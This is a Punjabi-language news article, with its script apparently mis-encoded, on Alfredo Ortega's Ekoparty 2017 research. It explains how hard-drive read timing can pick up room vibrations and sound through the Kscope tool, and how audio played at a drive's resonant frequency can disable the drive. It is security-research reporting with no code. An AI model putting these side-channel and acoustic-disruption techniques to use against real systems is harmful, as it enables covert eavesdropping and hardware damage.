เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ HDD 'เจคเฉ‡ เจฐเฉŒเจฒเจพ เจ•เจฟเจ‰เจ‚ เจจเจนเฉ€เจ‚ เจชเจพเจ‰เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ

เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ HDD 'เจคเฉ‡ เจฐเฉŒเจฒเจพ เจ•เจฟเจ‰เจ‚ เจจเจนเฉ€เจ‚ เจชเจพเจ‰เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ

เจฌเจฟเจŠเจจเจธ เจ†เจ‡เจฐเจธ เจตเจฟเฉฑเจš Ekoparty 2017 เจ•เฉฐเจชเจฟเจŠเจŸเจฐ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจ•เจพเจจเจซเจฐเฉฐเจธ เจตเจฟเฉฑเจš, เจ…เจฐเจœเจจเจŸเฉ€เจจเจพ เจฆเฉ‡ เจนเฉˆเจ•เจฐ เจ…เจฒเจซเจฐเฉ‡เจกเฉ‹ เจ“เจฐเจŸเฉ‡เจ—เจพ เจจเฉ‡ เจ‡เฉฑเจ• เจฌเจนเฉเจค เจนเฉ€ เจฆเจฟเจฒเจšเจธเจช เจตเจฟเจ•เจพเจธ เจฆเจฟเจ–เจพเจ‡เจ† - เจ‡เฉฑเจ• เจฎเจพเจˆเจ•เฉเจฐเฉ‹เจซเฉ‹เจจ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจชเจฐเจฟเจธเจฐ เจฆเฉ€ เจ—เฉเจชเจค เจตเจพเจ‡เจฐเจŸเฉˆเจชเจฟเฉฐเจ— เจฒเจˆ เจ‡เฉฑเจ• เจชเฉเจฐเจฃเจพเจฒเฉ€เฅค เจงเฉเจจเฉ€ เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต เจจเฉ‚เฉฐ เจธเจฟเฉฑเจงเฉ‡ เจฐเจฟเจ•เจพเจฐเจก เจ•เฉ€เจคเจพ!

HDD เจฎเฉเฉฑเจ– เจคเฉŒเจฐ 'เจคเฉ‡ เจ‰เฉฑเจš-เจคเฉ€เจฌเจฐเจคเจพ เจตเจพเจฒเฉ€เจ†เจ‚ เจ˜เฉฑเจŸ-เจซเฉเจฐเฉ€เจ•เฉเจเจ‚เจธเฉ€ เจ†เจตเจพเจœเจผเจพเจ‚, เจชเฉˆเจฐเจพเจ‚ เจฆเฉ‡ เจ•เจฆเจฎ เจ…เจคเฉ‡ เจนเฉ‹เจฐ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจšเฉเฉฑเจ•เจฆเจพ เจนเฉˆเฅค เจฎเจจเฉเฉฑเจ–เฉ€ เจฌเฉ‹เจฒเฉ€ เจจเฉ‚เฉฐ เจ…เจœเฉ‡ เจคเฉฑเจ• เจชเจ›เจพเจฃเจฟเจ† เจจเจนเฉ€เจ‚ เจœเจพ เจธเจ•เจฆเจพ, เจนเจพเจฒเจพเจ‚เจ•เจฟ เจตเจฟเจ—เจฟเจ†เจจเฉ€ เจ‡เจธ เจฆเจฟเจธเจผเจพ เจตเจฟเฉฑเจš เจ–เฉ‹เจœ เจ•เจฐ เจฐเจนเฉ‡ เจนเจจ (เจ˜เฉฑเจŸ เจซเฉเจฐเฉ€เจ•เฉเจเจ‚เจธเฉ€ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจฆเฉเจ†เจฐเจพ เจฌเฉ‹เจฒเฉ€ เจฆเฉ€ เจชเจ›เจพเจฃ, เจœเฉ‹ เจ•เจฟ เจฐเจฟเจ•เจพเจฐเจก เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจœเจพเจ‡เจฐเฉ‹เจธเจ•เฉ‹เจช เจœเจพเจ‚ HDD เจคเฉ‹เจ‚)เฅค

เจงเฉเจจเฉ€ เจนเจตเจพ เจœเจพเจ‚ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ เจฎเจพเจงเจฟเจ…เจฎ เจฆเฉ€ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจ เจนเฉˆเฅค เจ‡เฉฑเจ• เจตเจฟเจ…เจ•เจคเฉ€ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจ•เฉฐเจจ เจฆเฉ‡ เจชเจฐเจฆเฉ‡ เจฐเจพเจนเฉ€เจ‚ เจธเจฎเจเจฆเจพ เจนเฉˆ, เจœเฉ‹ เจ…เฉฐเจฆเจฐเจฒเฉ‡ เจ•เฉฐเจจ เจคเฉฑเจ• เจ•เฉฐเจฌเจฃเฉ€ เจธเฉฐเจšเจพเจฐเจฟเจค เจ•เจฐเจฆเจพ เจนเฉˆเฅค เจฎเจพเจˆเจ•เฉเจฐเฉ‹เจซเฉ‹เจจ เจจเฉ‚เฉฐ เจฎเฉ‹เจŸเฉ‡ เจคเฉŒเจฐ 'เจคเฉ‡ เจ‡เฉฑเจ• เจ•เฉฐเจจ เจตเจพเจ‚เจ— เจกเจฟเจœเจผเจพเจ‡เจจ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆ - เจ‡เฉฑเจฅเฉ‡ เจตเฉ€, เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจชเจคเจฒเฉ€ เจเจฟเฉฑเจฒเฉ€ เจฆเฉเจ†เจฐเจพ เจฐเจฟเจ•เจพเจฐเจก เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจœเฉ‹ เจ‡เฉฑเจ• เจฌเจฟเจœเจฒเจˆ เจชเฉเจฐเจญเจพเจต เจจเฉ‚เฉฐ เจ‰เจคเจธเจผเจพเจนเจฟเจค เจ•เจฐเจฆเจพ เจนเฉˆเฅค เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต, เจฌเฉ‡เจธเจผเฉฑเจ•, เจ†เจฒเฉ‡ เจฆเฉเจ†เจฒเฉ‡ เจฆเฉ€ เจนเจตเจพ เจตเจฟเฉฑเจš เจ‰เจคเจฐเจพเจ…-เจšเฉœเฉเจนเจพเจ… เจฆเฉ‡ เจ•เจพเจฐเจจ เจฎเจพเจˆเจ•เฉเจฐเฉ‹เจธเจ•เฉ‹เจชเจฟเจ• เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจฆเฉ‡ เจ…เจงเฉ€เจจ เจตเฉ€ เจนเฉˆเฅค เจ‡เจน เจเจšเจกเฉ€เจกเฉ€เจœเจผ เจฆเฉ€เจ†เจ‚ เจคเจ•เจจเฉ€เจ•เฉ€ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚ เจคเฉ‹เจ‚ เจตเฉ€ เจœเจพเจฃเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ: เจจเจฟเจฐเจฎเจพเจคเจพ เจ†เจฎ เจคเฉŒเจฐ 'เจคเฉ‡ เจตเฉฑเจง เจคเฉ‹เจ‚ เจตเฉฑเจง เจชเฉเจฐเจตเจพเจจเจฟเจค เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจ เจชเฉฑเจงเจฐ เจจเฉ‚เฉฐ เจฆเจฐเจธเจพเจ‰เจ‚เจฆเฉ‡ เจนเจจ, เจ…เจคเฉ‡ เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต เจ…เจ•เจธเจฐ เจ‡เจธเจจเฉ‚เฉฐ เจฐเจฌเฉœ เจœเจพเจ‚ เจนเฉ‹เจฐ เจ‡เฉฐเจธเฉ‚เจฒเฉ‡เจŸเจฟเฉฐเจ— เจธเจฎเฉฑเจ—เจฐเฉ€ เจฆเฉ‡ เจฌเจฃเฉ‡ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจ-เจชเฉเจฐเฉ‚เจซ เจ•เฉฐเจŸเฉ‡เจจเจฐ เจตเจฟเฉฑเจš เจฐเฉฑเจ–เจฃ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เจฐเจฆเฉ€ เจนเฉˆเฅค เจ‡เจธ เจคเฉ‹เจ‚ เจ‡เจน เจธเจฟเฉฑเจŸเจพ เจ•เฉฑเจขเจฃเจพ เจ†เจธเจพเจจ เจนเฉˆ เจ•เจฟ เจเจšเจกเฉ€เจกเฉ€ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ†เจตเจพเจœเจผเจพเจ‚ เจจเฉ‚เฉฐ เจฐเจฟเจ•เจพเจฐเจก เจ•เฉ€เจคเจพ เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆเฅค เจ‡เจน เจธเจญ เจ•เฉเจ เจ‡เจน เจชเจคเจพ เจฒเจ—เจพเจ‰เจฃเจพ เจนเฉˆ เจ•เจฟ เจ•เจฟเจตเฉ‡เจ‚.

เจ…เจฒเจซเจฐเฉ‡เจกเฉ‹ เจ“เจฐเจŸเฉ‡เจ—เจพ เจจเฉ‡ เจธเจพเจˆเจก-เจšเฉˆเจจเจฒ เจนเจฎเจฒเฉ‡ เจฆเจพ เจ‡เฉฑเจ• เจตเจฟเจฒเฉฑเจ–เจฃ เจธเฉฐเจธเจ•เจฐเจฃ เจชเฉเจฐเจธเจคเจพเจตเจฟเจค เจ•เฉ€เจคเจพ, เจ…เจฐเจฅเจพเจค เจ‡เฉฑเจ• เจธเจฎเฉ‡เจ‚ เจฆเจพ เจนเจฎเจฒเจพเฅค เจ‡เจน เจนเจฎเจฒเจพ เจ‡เจธ เจงเจพเจฐเจจเจพ 'เจคเฉ‡ เจ…เจงเจพเจฐเจค เจนเฉˆ เจ•เจฟ เจฆเจฟเฉฑเจคเฉ‡ เจ—เจ เจ‡เจจเจชเฉเจŸ เจกเฉ‡เจŸเจพ 'เจคเฉ‡ เจจเจฟเจฐเจญเจฐ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ, เจตเฉฑเจ–-เจตเฉฑเจ– เจธเจฎเจฟเจ†เจ‚ 'เจคเฉ‡ เจกเจฟเจตเจพเจˆเจธ 'เจคเฉ‡ เจตเฉฑเจ–-เจตเฉฑเจ– เจ“เจชเจฐเฉ‡เจธเจผเจจ เจ•เฉ€เจคเฉ‡ เจœเจพเจ‚เจฆเฉ‡ เจนเจจเฅค เจ‡เจธ เจธเจฅเจฟเจคเฉ€ เจตเจฟเฉฑเจš, "เจ‡เจจเจชเฉเจŸ เจกเฉ‡เจŸเจพ" เจฐเฉ€เจกเจฟเฉฐเจ— เจนเฉˆเฉฑเจก เจ…เจคเฉ‡ เจเจšเจกเฉ€เจกเฉ€ เจชเจฒเฉ‡เจŸเจฐ เจฆเฉ€เจ†เจ‚ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจนเจจ, เจœเฉ‹ เจ•เจฟ เจตเจพเจคเจพเจตเจฐเจฃ เจฆเฉ€เจ†เจ‚ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจนเจจ, เจฏเจพเจจเฉ€ เจ†เจตเจพเจœเจผ เจจเจพเจฒเฅค เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚, เจ—เจฃเจจเจพ เจฆเฉ‡ เจธเจฎเฉ‡เจ‚ เจจเฉ‚เฉฐ เจฎเจพเจช เจ•เฉ‡ เจ…เจคเฉ‡ เจกเฉ‡เจŸเจพ เจฆเจพ เจ…เฉฐเจ•เฉœเจพ เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจ•เจฐเจจ เจฆเฉเจ†เจฐเจพ, เจธเจฟเจฐ/เจฅเจพเจฒเฉ€ เจฆเฉ€เจ†เจ‚ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจ…เจคเฉ‡ เจ‡เจธเจฒเจˆ เจฎเจพเจงเจฟเจ…เจฎ เจฆเฉ€เจ†เจ‚ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจฎเจพเจชเจฃเจพ เจธเฉฐเจญเจต เจนเฉˆเฅค เจกเจพเจŸเจพ เจชเฉœเฉเจนเจจ เจตเจฟเฉฑเจš เจœเจฟเฉฐเจจเฉ€ เจฆเฉ‡เจฐเฉ€ เจนเฉ‹เจตเฉ‡เจ—เฉ€, เจ“เจจเฉ€ เจนเฉ€ เจฎเจœเจผเจฌเฉ‚เจค โ€‹โ€‹HDD เจ•เฉฐเจฌเจฃเฉ€ เจ…เจคเฉ‡, เจ‡เจธเจฒเจˆ, เจ‰เฉฑเจšเฉ€ เจ†เจตเจพเจœเจผเฅค

เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจ เจจเฉ‚เฉฐ เจ•เจฟเจตเฉ‡เจ‚ เจฎเจพเจชเจฃเจพ เจนเฉˆ? เจฌเจนเฉเจค เจธเจงเจพเจฐเจจ: เจธเจฟเจฐเจซเจผ เจธเจฟเจธเจŸเจฎ เจ•เจพเจฒ เจšเจฒเจพเจ“ read () - เจ…เจคเฉ‡ เจ‡เจธ เจจเฉ‚เฉฐ เจชเฉ‚เจฐเจพ เจ•เจฐเจจ เจตเจฟเฉฑเจš เจฒเฉฑเจ—เจฃ เจตเจพเจฒเฉ‡ เจธเจฎเฉ‡เจ‚ เจจเฉ‚เฉฐ เจฐเจฟเจ•เจพเจฐเจก เจ•เจฐเฉ‹เฅค เจ†เจงเฉเจจเจฟเจ• เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจจเฉˆเจจเฉ‹ เจธเจ•เจฟเฉฐเจŸ เจธเจผเฉเฉฑเจงเจคเจพ เจจเจพเจฒ เจธเจฟเจธเจŸเจฎ เจ•เจพเจฒเจพเจ‚ เจฆเฉ‡ เจธเจฎเฉ‡เจ‚ เจจเฉ‚เฉฐ เจชเฉœเฉเจนเจจ เจฆเฉ€ เจ‡เจœเจพเจœเจผเจค เจฆเจฟเฉฐเจฆเฉ‡ เจนเจจเฅค

เจ•เจฟเจธเฉ‡ เจธเฉˆเจ•เจŸเจฐ เจคเฉ‹เจ‚ เจœเจพเจฃเจ•เจพเจฐเฉ€ เจจเฉ‚เฉฐ เจชเฉœเฉเจนเจจ เจฆเฉ€ เจ—เจคเฉ€ เจธเจฟเจฐ เจ…เจคเฉ‡ เจชเจฒเฉ‡เจŸเจฐ เจฆเฉ€ เจธเจฅเจฟเจคเฉ€ 'เจคเฉ‡ เจจเจฟเจฐเจญเจฐ เจ•เจฐเจฆเฉ€ เจนเฉˆ, เจœเฉ‹ เจ•เจฟ HDD เจ•เฉ‡เจธ เจฆเฉ€เจ†เจ‚ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจนเฉˆเฅค เจ‡เจน เจธเจญ เจนเฉˆ.

เจ…เฉฐเจ•เฉœเจพ เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจ‡เฉฑเจ• เจธเจงเจพเจฐเจจ Kscope เจ‰เจชเจฏเฉ‹เจ—เจคเจพ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจ‰เจน เจ•เจนเจฟเฉฐเจฆเฉ‡ เจนเจจ, เจนเจฐ เจšเฉ€เจœเจผ เจธเจงเจพเจฐเจจ เจนเฉˆ.

เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ HDD 'เจคเฉ‡ เจฐเฉŒเจฒเจพ เจ•เจฟเจ‰เจ‚ เจจเจนเฉ€เจ‚ เจชเจพเจ‰เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ
Kscope เจ‰เจชเจฏเฉ‹เจ—เจคเจพ (stat() syscall)

Kscope เจธเจฟเจธเจŸเจฎ เจ•เจพเจฒ เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจธเจผเจจ เจธเจฎเฉ‡เจ‚ เจตเจฟเฉฑเจš เจ›เฉ‹เจŸเฉ‡ เจ…เฉฐเจคเจฐเจพเจ‚ เจฆเฉ€ เจ•เจฒเจชเจจเจพ เจ•เจฐเจจ เจฒเจˆ เจ‡เฉฑเจ• เจ›เฉ‹เจŸเฉ€ เจธเจนเฉ‚เจฒเจค เจนเฉˆเฅค เจธเจฐเฉ‹เจคGitHub 'เจคเฉ‡ เจ•เจฒเจฟเฉฑเจ• เจ•เจฐเฉ‹.

เจ‡เฉฑเจ• เจตเฉฑเจ–เจฐเฉ‡ เจฐเจฟเจชเฉ‹เจœเจผเจŸเจฐเฉ€ เจตเจฟเฉฑเจš HDD-เจธเจฎเจพเจ‚ เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต 'เจคเฉ‡ เจธเจฎเฉ‡เจ‚ เจฆเฉ‡ เจนเจฎเจฒเฉ‡ เจฒเจˆ เจธเฉฐเจฐเจšเจฟเจค เจ‰เจชเจฏเฉ‹เจ—เจคเจพ เจฆเจพ เจ‡เฉฑเจ• เจธเฉฐเจธเจ•เจฐเจฃ เจนเฉˆ, เจœเฉ‹ เจ•เจฟ เจธเจฟเจธเจŸเจฎ เจ•เจพเจฒ เจฆเจพ เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจ•เจฐเจจ เจฒเจˆ เจ•เฉŒเจ‚เจซเจฟเจ—เจฐ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆ read ().

HDD เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจงเฉเจจเฉ€ เจฐเจฟเจ•เจพเจฐเจกเจฟเฉฐเจ— เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจ, Kscope เจ‰เจชเจฏเฉ‹เจ—เจคเจพ เจฆเจพ เจธเฉฐเจšเจพเจฒเจจ


เจฌเฉ‡เจธเจผเฉฑเจ•, เจญเจพเจธเจผเจฃ เจจเฉ‚เฉฐ เจ‡เจธ เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจธเจฎเจเจฟเจ† เจจเจนเฉ€เจ‚ เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆ, เจชเจฐ HDD เจ‡เฉฑเจ• เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจ เจธเฉˆเจ‚เจธเจฐ เจฆเฉ‡ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจ•เจพเจซเจผเฉ€ เจขเฉเจ•เจตเจพเจ‚ เจนเฉˆ. เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจคเฉเจธเฉ€เจ‚ เจฐเจœเจฟเจธเจŸเจฐ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจœเฉ‡เจ•เจฐ เจ•เฉ‹เจˆ เจตเจฟเจ…เจ•เจคเฉ€ เจธเจ–เจผเจค เจœเฉเฉฑเจคเฉ€เจ†เจ‚ เจชเจนเจฟเจจเฉ‡ เจœเจพเจ‚ เจจเฉฐเจ—เฉ‡ เจชเฉˆเจฐเฉ€เจ‚ เจ•เฉฐเจชเจฟเจŠเจŸเจฐ เจตเจพเจฒเฉ‡ เจ•เจฎเจฐเฉ‡ เจตเจฟเฉฑเจš เจฆเจพเจ–เจฒ เจนเฉ‹เจ‡เจ† เจนเฉ‹เจตเฉ‡ (เจธเจผเจพเจ‡เจฆ, เจœเฉ‡เจ•เจฐ เจนเจฎเจฒเจพเจตเจฐ เจจเฉ‡ เจจเจฐเจฎ เจธเจจเฉ€เจ•เจฐ เจชเจนเจฟเจจเฉ‡ เจนเฉ‹เจ เจนเจจ เจœเจพเจ‚ เจซเจฐเจธเจผ 'เจคเฉ‡ เจ‡เฉฑเจ• เจฎเฉ‹เจŸเจพ เจ•เจพเจฐเจชเฉ‡เจŸ เจนเฉˆ, เจคเจพเจ‚ HDD เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจฐเจœเจฟเจธเจŸเจฐ เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจจเจนเฉ€เจ‚ เจนเฉ‹เจตเฉ‡เจ—เจพ - เจ‡เจน เจœเจพเจ‚เจš เจ•เจฐเจจ เจฏเฉ‹เจ— เจนเฉˆ)เฅค เจ•เฉฐเจชเจฟเจŠเจŸเจฐ เจŸเฉเฉฑเจŸเฉ‡ เจนเฉ‹เจ เจธเจผเฉ€เจธเจผเฉ‡ เจœเจพเจ‚ เจนเฉ‹เจฐ เจ˜เจŸเจจเจพเจตเจพเจ‚ เจจเฉ‚เฉฐ เจคเฉ‡เจœเจผ เจ†เจตเจพเจœเจผ เจฆเฉ€ เจคเฉ€เจฌเจฐเจคเจพ เจจเจพเจฒ เจฆเจฐเจœ เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจนเฉˆเฅค เจญเจพเจต, เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต เจ‡เฉฑเจ• เจ•เจฟเจธเจฎ เจฆเฉ€ เจ…เจฃเจ…เจงเจฟเจ•เจพเจฐเจค เจ˜เฉเจธเจชเฉˆเจ  เจ–เฉ‹เจœ เจชเฉเจฐเจฃเจพเจฒเฉ€ เจตเจœเฉ‹เจ‚ เจ•เฉฐเจฎ เจ•เจฐ เจธเจ•เจฆเฉ€ เจนเฉˆเฅค

HDD เจ•เจพเจคเจฒ

เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ, เจนเจพเจฐเจก เจกเจฐเจพเจˆเจตเจพเจ‚ เจจเฉ‚เฉฐ เจ…เจฏเฉ‹เจ— เจ•เจฐเจจ เจฒเจˆ เจ‡เฉฑเจ• เจธเจฎเจพเจจ เจคเจ•เจจเฉ€เจ• เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เฉ€เจคเฉ€ เจœเจพ เจธเจ•เจฆเฉ€ เจนเฉˆ. เจธเจฟเจฐเจซเจผ เจ‡เฉฑเจฅเฉ‡ เจนเฉ€ เจ…เจธเฉ€เจ‚ HDD เจคเฉ‹เจ‚ เจ“เจธเฉ€เจฒเฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจจเจนเฉ€เจ‚ เจนเจŸเจพเจ‰เจ‚เจฆเฉ‡, เจชเจฐ เจ‡เจธ เจฆเฉ‡ เจ‰เจฒเจŸ, เจ…เจธเฉ€เจ‚ เจ“เจธเฉ€เจฒเฉ‡เจธเจผเจจเจœเจผ เจคเจฟเจ†เจฐ เจ•เจฐเจฆเฉ‡ เจนเจพเจ‚ เจœเฉ‹ HDD เจจเฉ‚เฉฐ เจ–เฉเจ†เจ เจœเจพเจ‚เจฆเฉ‡ เจนเจจเฅค เจœเฉ‡เจ•เจฐ เจคเฉเจธเฉ€เจ‚ HDD เจฌเจพเจฐเฉฐเจฌเจพเจฐเจคเจพ เจจเจพเจฒ เจ—เฉ‚เฉฐเจœเจฃ เจตเจพเจฒเฉ€ เจซเฉเจฐเฉ€เจ•เฉเจเจ‚เจธเฉ€ 'เจคเฉ‡ เจธเจชเฉ€เจ•เจฐ เจคเฉ‹เจ‚ เจ†เจตเจพเจœเจผ เจšเจฒเจพเจ‰เจ‚เจฆเฉ‡ เจนเฉ‹, เจคเจพเจ‚ เจธเจฟเจธเจŸเจฎ เจœเจฒเจฆเฉ€ เจนเฉ€ เจ‡เฉฑเจ• I/O เจ—เจฒเจคเฉ€ เจจเจพเจฒ เจกเจฟเจตเจพเจˆเจธ เจจเฉ‚เฉฐ เจฌเฉฐเจฆ เจ•เจฐ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ (เจฒเฉ€เจจเจ•เจธ เจ•เจฐเจจเจฒ 120 เจธเจ•เจฟเฉฐเจŸเจพเจ‚ เจฌเจพเจ…เจฆ HDD เจจเฉ‚เฉฐ เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจฌเฉฐเจฆ เจ•เจฐ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ)เฅค เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต เจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ เจ†เจช เจตเจฟเฉฑเจš เจจเจพ เจชเฉ‚เจฐเจพ เจนเฉ‹เจฃ เจตเจพเจฒเจพ เจจเฉเจ•เจธเจพเจจ เจนเฉ‹ เจธเจ•เจฆเจพ เจนเฉˆเฅค

เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ HDD 'เจคเฉ‡ เจฐเฉŒเจฒเจพ เจ•เจฟเจ‰เจ‚ เจจเจนเฉ€เจ‚ เจชเจพเจ‰เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ
เจฒเฉ€เจจเจ•เจธ เจ•เจฐเจจเจฒ เจจเฉ‡ เจเจกเฉ€เจซเจพเจ‡เจฐ r120u USB เจธเจชเฉ€เจ•เจฐ เจฆเฉ‡ เจธเจชเฉ€เจ•เจฐ เจฐเจพเจนเฉ€เจ‚ เจ—เฉ‚เฉฐเจœเจฆเฉ€ เจฌเจพเจฐเฉฐเจฌเจพเจฐเจคเจพ 'เจคเฉ‡ เจ†เจตเจพเจœเจผ เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจจ เจฆเฉ‡ 19 เจธเจ•เจฟเฉฐเจŸเจพเจ‚ เจฌเจพเจ…เจฆ เจนเจพเจฐเจก เจกเจฐเจพเจˆเจต เจจเฉ‚เฉฐ เจฌเฉฐเจฆ เจ•เจฐ เจฆเจฟเฉฑเจคเจพเฅค เจธเจชเฉ€เจ•เจฐ เจฒเจ—เจญเจ— เจ‡เฉฑเจ• เจšเฉŒเจฅเจพเจˆ เจชเจพเจตเจฐ (100 mW เจคเฉ‹เจ‚ เจ˜เฉฑเจŸ) 'เจคเฉ‡ เจšเจพเจฒเฉ‚ เจนเฉเฉฐเจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ HDD เจคเฉ‹เจ‚ 20 เจธเฉˆเจ‚เจŸเฉ€เจฎเฉ€เจŸเจฐ เจฆเฉ€ เจฆเฉ‚เจฐเฉ€ 'เจคเฉ‡ เจธเจฅเจฟเจค เจนเฉเฉฐเจฆเจพ เจนเฉˆ, เจœเจฟเจธเจฆเจพ เจ‰เจฆเฉ‡เจธเจผ เจตเจพเจˆเจฌเฉเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจตเจงเจพเจ‰เจฃเจพ เจนเฉˆเฅค เจคเฉ‹เจ‚ เจซเจฐเฉ‡เจฎ เจตเฉ€เจกเฉ€เจ“ HDD เจ•เจพเจคเจฒ เจฆเฉ‡ เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจฆเฉ‡ เจจเจพเจฒ

เจ‡เจน เจ‰เจคเจธเฉเจ• เจนเฉˆ เจ•เจฟ เจเจšเจกเฉ€เจกเฉ€ 'เจคเฉ‡ เจ…เจœเจฟเจนเฉ‡ "เจนเจฎเจฒเฉ‡" เจ•เจˆ เจตเจพเจฐเฉ€ เจฐเฉ‹เจœเจผเจพเจจเจพ เจœเฉ€เจตเจจ เจตเจฟเฉฑเจš เจฆเฉเจฐเจ˜เจŸเจจเจพ เจฆเฉเจ†เจฐเจพ เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจตเจพเจชเจฐเจฆเฉ‡ เจนเจจเฅค เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจธเจคเฉฐเจฌเจฐ 2016 เจตเจฟเฉฑเจš, ING เจฌเฉˆเจ‚เจ• เจกเฉ‡เจŸเจพ เจธเฉˆเจ‚เจŸเจฐ เจจเฉ‚เฉฐ เจซเจพเจ‡เจฐ เจกเจฐเจฟเฉฑเจฒ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ 10 เจ˜เฉฐเจŸเจฟเจ†เจ‚ เจฒเจˆ เจ•เฉฐเจฎเจ•เจพเจœ เจจเฉ‚เฉฐ เจฎเฉเจ…เฉฑเจคเจฒ เจ•เจฐเจจ เจฒเจˆ เจฎเจœเจฌเฉ‚เจฐ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€เฅค เจฆเจฐเจœเจจเจพเจ‚ เจนเจพเจฐเจก เจกเจฐเจพเจˆเจตเจพเจ‚ เจซเฉ‡เจฒเฉเจน เจนเฉ‹ เจ—เจˆเจ†เจ‚ เจนเจจ เจนเจพเจˆ เจชเฉเจฐเฉˆเจธเจผเจฐ เจนเฉ‡เจ  เจธเจฟเจฒเฉฐเจกเจฐ เจคเฉ‹เจ‚ เจจเจฟเจ•เจฒเจฃ เจตเจพเจฒเฉ€ เจ‡เจจเจฐเจŸ เจ—เฉˆเจธ เจฆเฉ€ เจ‰เฉฑเจšเฉ€ เจ†เจตเจพเจœเจผ เจ•เจพเจฐเจจเฅค 